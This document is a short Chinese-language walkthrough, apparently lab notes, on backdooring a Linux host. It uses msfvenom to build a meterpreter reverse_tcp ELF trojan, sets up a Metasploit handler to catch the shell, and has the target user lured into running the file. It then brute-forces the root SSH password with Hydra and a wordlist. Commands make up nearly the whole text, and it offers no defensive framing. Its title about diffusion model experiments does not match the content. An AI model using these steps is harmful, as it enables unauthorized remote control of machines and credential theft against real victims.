

扩散模型实验部署

木马获权实验部署

在实验中，制作shell.elf木马在目标主机中作为启动程序植入后门

首先在Linux下安装渗透测试框架Metasploit：

```
1 git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit
2 cd ./metasploit
3 # 接着运行msfconsole即可
4 msfconsole
```

在控制主机中制作木马，设置反射IP地址及端口号

```
1 msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=控制主机IP lport=5555 -f elf -o shell.elf
```

在控制主机中使用msfconsole中的handler模块，并设置payload，lhost和lport，运行后实现实时监控：

```
1 # 开启msfconsole
2 msfconsole
3
4 # 使用handler模块
5 msf6> use exploit/multi/handler
6
7 # 设置payload, lhost, lport
8 msf6 exploit(multi/handler) > set payload /linux/x86/meterpreter/reverse_tcp
9 msf6 exploit(multi/handler) > set lhost 控制主机IP
10 msf6 exploit(multi/handler) > set lport 5555
11
12 # 开始运行，进行监听
13 msf6 exploit(multi/handler) > run
```

生成木马shell.elfh后，将其传入到目标主机中，并诱导其执行文件，即可在本机获取目标主机的权限

```
1 # 使用命令sysinfo即可查看目标主机信息，则说明获取成功，并且可以创建和删除文件
2 meterpreter > sysinfo
3 meterpreter > ls
```

使用字典爆破获取目标主机用户名和密码

使用Hydra获取目标主机用户名和密码（如果已知用户名，则可以直接执行获取）

首先在控制主机上安装依赖和Hydra

```
1  sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev \  
2  > libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \  
3  > firebird-dev libmemcached-dev libpgpg-error-dev \  
4  > libgcrypt11-dev libgcrypt20-dev  
5  
6  # 将thc-hydra-9.0.tar.gz文件导入并解压Hydra  
7  mkdir hydra  
8  cd hydra/  
9  tar -zxvf thc-hydra-9.0.tar.gz  
10  
11 # 安装  
12 cd thc-hydra-9.0/  
13 ./configure  
14 make  
15 sudo make install  
16 sudo make clean  
17  
18 # 验证  
19 hydra -version
```

安装成功后，使用字典对密码进行爆破

```
1  # 直接爆破root权限密码  
2  hydra -l root -P passlist.txt 目标主机IP ssh
```

成功后会返回成功的用户名和密码

(密码使用pydictor生成)